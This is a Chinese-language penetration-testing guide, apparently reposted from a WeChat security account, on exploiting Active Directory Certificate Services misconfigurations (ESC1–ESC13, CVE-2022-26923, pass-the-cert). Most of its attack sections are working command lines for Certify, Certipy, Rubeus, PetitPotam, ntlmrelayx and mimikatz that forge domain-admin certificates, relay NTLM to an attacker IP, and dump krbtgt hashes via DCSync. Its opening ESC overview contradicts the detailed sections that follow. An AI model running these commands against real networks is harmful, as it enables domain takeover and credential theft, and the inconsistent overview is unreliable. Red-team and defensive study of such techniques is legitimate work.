Active Directory 证书服务渗透测试全面指南
前言
AD 证书服务(ADCS)作为一种常见的身份验证机制,为攻击者提供了新的突破口。本指南将详细解析如何利用 AD 证书服务中的漏洞,帮助红队成员提升对企业网络的渗透能力,并为防御者提供切实可行的防护建议。
ADCS(Active Directory Certificate Services)是 Windows 服务器的一个重要角色,它为网络中的通信和交易提供了公钥基础设施(PKI)。在网络安全领域,ADCS 也是一个常见的攻击目标,尤其是在配置错误或权限控制不当的情况下。以下是一些与 ADCS 相关的常见安全漏洞及其利用方法。
文章的简要概括:
如何通过利用 Active Directory 证书服务 (AD CS) 中的配置错误来进行攻击。以下是对这些步骤和概念的简要概括:
AD CS 枚举与信息收集
1. netexec 和 ldapsearch 用于枚举 AD CS 信息,包括从 LDAP 目录中获取证书服务的相关配置。
2. certutil 工具可以用来检查和导出证书配置信息。
证书模板错误配置漏洞
ESC1: 通过配置错误的证书模板(如 VulnTemplate),允许域用户注册并指定任意的主体替代名称 (SAN),这可能导致伪装成其他用户(如域管理员)
ESC2: 允许请求者在证书签名请求 (CSR) 中指定 SAN,并且允许任何用途 EKU,这使得攻击者可以注册具有高权限的证书
ESC3: 利用具有“注册代理” EKU 的模板来为其他用户申请证书,进而可以伪装成目标用户
ESC4: 通过修改模板 ACL,将自己设置为模板的管理员或更改配置使其易受 ESC1 的影响
ESC5: 在子域中通过编辑模板来升级权限至企业管理员级别
ESC6: 通过滥用 EDITF_ATTRIBUTESUBJECTALTNAME2 标志,在SAN中插入恶意信息
ESC7: 检测允许低权限用户管理证书颁发机构 (CA) 的权限,并通过更改配置进行攻击
ESC8: 通过滥用密钥恢复功能,获取并利用私钥
ESC9: 利用证书吊销列表 (CRL) 配置问题,绕过证书吊销检。
ESC10: 通过伪造 CA 证书,建立恶意的证书颁发机构,进行中间人攻击
ESC11: 通过暴力破解证书私钥或使用弱加密算法来破解证书
ESC12: 利用错误配置的证书信任链,导致信任提升或伪造有效证书
ESC13: 通过利用未授权的证书请求,获取不应由该用户拥有的证书
ESC14: 在证书模板中设置错误的默认属性,导致潜在的权限提升
工具使用
1.Certify 和 Certipy: 这些工具用于枚举、分析和利用 AD CS 的漏洞。
2.OpenSSL: 将证书转换为其他格式,如 PFX 文件,以便在后续的攻击中使用。
利用与缓解
通过上述步骤,攻击者可以利用错误配置的证书模板,伪造具有高权限的证书,并使用这些证书执行后续攻击,例如获取 TGT(Kerberos 票据授权票据)以访问关键资源。
缓解措施包括修正配置错误,尤其是撤销不必要的证书模板权限,禁用不安全的模板配置,并限制 AD CS 的访问控制权限。
具体攻击步骤
详细介绍了如何使用工具和命令执行上述漏洞攻击,包括如何使用 Certify 或 Certipy 申请证书、添加备用名称,以及如何利用 Rubeus 请求 TGT 以便在目标系统上执行攻击。
ADCS枚举
netexec
工具通过 LDAP 协议查询 Active Directory 的证书服务信息。-
netexec ldap domain.lab -u username -p password -M adcs
:这里用的是netexec
工具,通过 LDAP 协议查询 Active Directory 的 ADCS 服务。
-
ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
:这个命令通过 LDAP 查找 ADCS 相关的域名服务主机名。
-
certutil -config - -ping
:测试与证书服务的连接。 -
certutil -dump
:查看证书服务的详细配置和信息。
证书注册
在 Active Directory 证书服务 (ADCS) 中,有些证书模板要求对象具备特定的属性才能注册:
-
DNS 要求:模板可能要求
dNSHostName
属性,通常计算机在加入域后会有这个属性,而普通用户一般没有。 -
电子邮件要求:模板可能要求 mail 属性,默认情况下,用户和计算机对象没有这个属性,且无法自行添加。
证书模版配置错误
ESC1 - 证书模板配置错误
域用户可以注册VulnTemplate模板,该模板可用于客户端身份验证,并设置了ENROLLEE_SUPPLIES_SUBJECT。这允许任何人注册此模板并指定任意主题备用名称(即作为 DA)。允许将其他身份绑定到主题以外的证书。
-
允许 AD 身份验证的模板
-
ENROLLEE_SUPPLIES_SUBJECT标志
-
[PKINIT] 客户端身份验证、智能卡登录、任何用途或无 EKU(扩展/增强密钥使用)
-
使用Certify.exe查看是否存在任何易受攻击的模板
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
# or
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
-
使用 Certify、Certi或Certipy申请证书并添加备用名称(要模拟的用户)
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.localdomain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
-
使用OpenSSL并转换证书,不输入密码
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
-
将 cert.pfx 移动到目标机器文件系统,并使用 Rubeus 为 altname 用户请求 TGT
Rubeus.exe asktgt /user:domadmin /certificate:C:Tempcert.pfx
ESC2 - 证书模板配置错误
-
要求:允许请求者在 CSR 中指定主题备用名称 (SAN),并允许任何用途 EKU (2.5.29.37.0) -
开发:查找模板
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
# or
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
-
/altname请求指定为域管理员的证书,如在ESC1中一样
ESC3 -注册代理模板配置错误
ESC3 是指证书模板指定证书请求代理 EKU(注册代理)。此 EKU 可用于代表其他用户请求证书
-
根据存在漏洞的证书模板ESC3申请证书。
$ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC3'
[*] Saved certificate and private key to 'john.pfx'
-
使用证书请求代理证书 (-pfx) 代表其他用户请求证书
$ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'User' -on-behalf-of 'corpadministrator' -pfx 'john.pfx'
ESC4 -访问控制漏洞
启用mspki-certificate-name-flag允许域身份验证的模板标志,允许攻击者“将错误配置推送到模板,从而导致 ESC1 漏洞
-
使用modifyCertTemplate搜索WriteProperty值00000000-0000-0000-0000-000000000000
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
-
添加ENROLLEE_SUPPLIES_SUBJECT(ESS)标志以执行ESC1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
C:>StandIn.exe --adcs --filter WebServer --ess --add
-
执行ESC1然后恢复值
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
使用 Certipy
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC4' -alt '[email protected]'
# restore the old configuration
certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
ESC5 - 易受攻击的 PKI 对象访问控制
将权限从子域中的域管理员升级到林根处的企业管理员。
要求:
将新模板添加到“证书”模板容器
pKIEnrollmentService对对象的“写”访问权限
开发:
在子 DC 上以 SYSTEM 身份启动PsExec:mmcpsexec.exe /accepteula -i -s mmc
以 SYSTEM 身份打开certsrv.msc并复制现有模板
编辑模板的属性以:
授予我们在子域中控制的主体注册权限。
在应用程序策略中包括客户端身份验证。
允许证书请求中的 SAN。
不允许经理批准或授权签名。
将证书模板发布到 CA
通过将模板添加到> > >certificateTemplate的属性列表中进行发布CN=ServicesCN=Public Key ServicesCN=Enrollment ServicespkiEnrollmentService
最后利用复制模板中引入的ESC1漏洞颁发冒充企业管理员的证书。
ESC6 -EDITF_ATTRIBUTESUBJECTALTNAME2
如果在 CA 上设置了此标志,则任何请求(包括从 Active Directory 构建主题时)都可以在主题备用名称中拥有用户定义的值。
使用Certify.exe检查引用该标志的UserSpecifiedSANEDITF_ATTRIBUTESUBJECTALTNAME2标志状态。
Certify.exe cas
.Certify.exe request /ca:dc.domain.localdomain-DC-CA /template:User /altname:DomAdmin
减轻
ESC7 -易受攻击的证书颁发机构访问控制
检测允许低权限用户ManageCA 或Manage Certificates权限的 CA
Certify.exe find /vulnerable
更改 CA 设置以启用易受攻击的 CA (ESC6) 下的所有模板的 SAN 扩展
Certify.exe setconfig /enablesan /restart
使用所需的 SAN 请求证书。
Certify.exe request /template:User /altname:super.adm
如果需要,授予批准或禁用批准要求
Certify.exe issue /id:[REQUEST ID]
Certify.exe setconfig /removeapproval /restart
ESC8 -易受攻击的证书颁发机构访问控制
攻击者可以使用 PetitPotam 触发域控制器,将 NTLM 凭据中继到所选主机。然后可以将域控制器的 NTLM 凭据中继到 Active Directory 证书服务 (AD CS) Web 注册页面,并注册 DC 证书。然后可以使用此证书请求 TGT(票证授予票证)并通过传递票证攻击整个域。
版本 1:NTLM Relay + Rubeus + PetitPotam
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
# For a member server or workstation, the template would be "Computer".
# Other templates: workstation, DomainController, Machine, KerberosAuthentication
# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt
版本 2:NTLM Relay + Mimikatz + Kekeo
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
版本 3:Kerberos 中继
# Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
# Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
版本 4:ADCSPwn - 需要WebClient在域控制器上运行服务。默认情况下未安装此服务。
https://github.com/bats3c/ADCSPwn
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:Tempcert_b64.txt
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.localmranderson --password The0nly0ne! --dc dc.pwnlab.local
# ADCSPwn arguments
adcs - This is the address of the AD CS server which authentication will be relayed to.
secure - Use HTTPS with the certificate service.
port - The port ADCSPwn will listen on.
remote - Remote machine to trigger authentication from.
username - Username for non-domain context.
password - Password for non-domain context.
dc - Domain controller to query for Certificate Templates (LDAP).
unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
output - Output path to store base64 generated crt.
版本 5:Certipy ESC8
certipy relay -ca 172.16.19.100
ESC9 - 无安全扩展
要求
StrongCertificateBindingEnforcement设置为1(默认)或0
证书的值CT_FLAG_NO_SECURITY_EXTENSION中包含标志msPKI-Enrollment-Flag
证书指定Any Client身份验证 EKU
GenericWrite通过任何账户 A 来危害任何账户 B
设想:[email protected] 对 [email protected] 拥有GenericWrite 权限,而我们想要攻陷 [email protected]。[email protected] 被允许注册证书模板 ESC9,该模板在msPKI-Enrollment-Flag值中指定了CT_FLAG_NO_SECURITY_EXTENSION标志。
使用影子凭证 (使用我们的 GenericWrite) 获取 Jane 的哈希值
certipy shadow auto -username [email protected] -p Passw0rd -account Jane
将 Jane 的userPrincipalName更改为管理员。保留该@corp.local部分
certipy account update -username [email protected] -password Passw0rd -user Jane -upn Administrator
从 Jane 的帐户请求存在漏洞的证书模板 ESC9。
certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
# userPrincipalName in the certificate is Administrator
# the issued certificate contains no "object SID"
将 Jane 的 userPrincipalName 恢复为 [email protected]。
certipy account update -username [email protected] -password Passw0rd -user [email protected]
使用证书进行身份验证并接收 [email protected] 用户的 NT 哈希。
certipy auth -pfx administrator.pfx -domain corp.local
# Add -domain <domain> to your command line since there is no domain specified in the certificate.
ESC10 - 将 NTLM 中继到 ICPR
对于 ICPR 请求,不强制加密,并且请求处置设置为问题。
开发:
Enforce Encryption for Requests: Disabled在certipy find -u [email protected] -p 'REDACTED' -dc-ip 10.10.10.10 -stdout输出中查找
使用 Impacket ntlmrelay 设置中继并触发与它的连接。
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
ESC11 - 发行政策
如果主体(用户或计算机)对配置了具有 OID 组链接的颁发策略的证书模板具有注册权,则该主体可以注册允许作为 OID 组链接中指定的组成员获取对环境的访问权限的证书。
要求
主体对证书模板具有注册权限
证书模板具有颁发策略扩展
发行策略具有指向某个组的 OID 组链接
证书模板定义启用客户端身份验证的 EKU
PS C:> $ESC13Template = Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties nTSecurityDescriptor $ESC13Template.nTSecurityDescriptor.Access | ? {$_.IdentityReference -eq "DUMPSTERESC13User"}
AccessControlType : Allow
# check if there is an issuance policy in the msPKI-Certificate-Policy
PS C:> Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties msPKI-Certificate-Policy
msPKI-Certificate-Policy : {1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448}
# check for OID group link
PS C:> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
msDS-OIDToGroupLink : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire
# verify if ESC13Group is a Universal group
PS C:> Get-ADGroup ESC13Group -Properties Members
GroupScope : Universal
Members : {}
开发:
为易受攻击的模板申请证
PS C:> .Certify.exe request /ca:DC01dumpster-DC01-CA /template:ESC13Template
合并到 PFX 文件
PS C:> certutil -MergePFX .esc13.pem .esc13.pfx
验证“客户端身份验证”和“策略标识符”是否存在
PS C:> certutil -Dump -v .esc13.pfx
为我们的用户请求 TGT,但我们也是链接组的成员并继承了他们的权限
PS C:> .Rubeus.exe asktgt /user:ESC13User /certificate:C:esc13.pfx /nowrap
已认证 CVE-2022-26923
经过身份验证的用户可以操纵他们拥有或管理的计算机帐户的属性,并从 Active Directory 证书服务获取允许提升权限的证书。
寻找ms-DS-MachineAccountQuota
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota
默认在 Active Directory 中添加一台新计算机MachineAccountQuota = 10
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*'
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
[替代方案] 如果您是SYSTEM并且MachineAccountQuota=0:使用当前计算机的票证并重置其 SPN
Rubeus.exe tgtdeleg
export KRB5CCNAME=/tmp/ws02.ccache
bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
设置dNSHostName属性以匹配域控制器主机名
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
索取票证
# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
使用 pfx 或在你的机器账户上设置 RBCD 来接管域
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
openssl pkcs12 -in dc.pfx -out dc.pem -nodes
bloodyAD -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$'
getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10
传递证书
通过证书获取TGT,此技术在“UnPAC the Hash”和“Shadow Credential”中使用
视窗
# Information about a cert file
certutil -v -dump admin.pfx
# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
# Grant DCSync rights to an user
./PassTheCert.exe --server dc.domain.local --cert-path C:cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
# To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
Linux
# Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Using Certipy
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
UnPAC 哈希
使用UnPAC Hash方法,您可以通过用户的证书检索用户的 NT Hash。
视窗
# Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
Linux
# Obtain a TGT by validating a PKINIT pre-authentication
$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Use the session key to recover the NT hash
$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
希望这些信息对您有所帮助!如果觉得这篇文章有价值,欢迎点赞和分享。感谢您的支持!
原文始发于微信公众号(星空网络安全):Active Directory 证书服务渗透测试全面指南
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论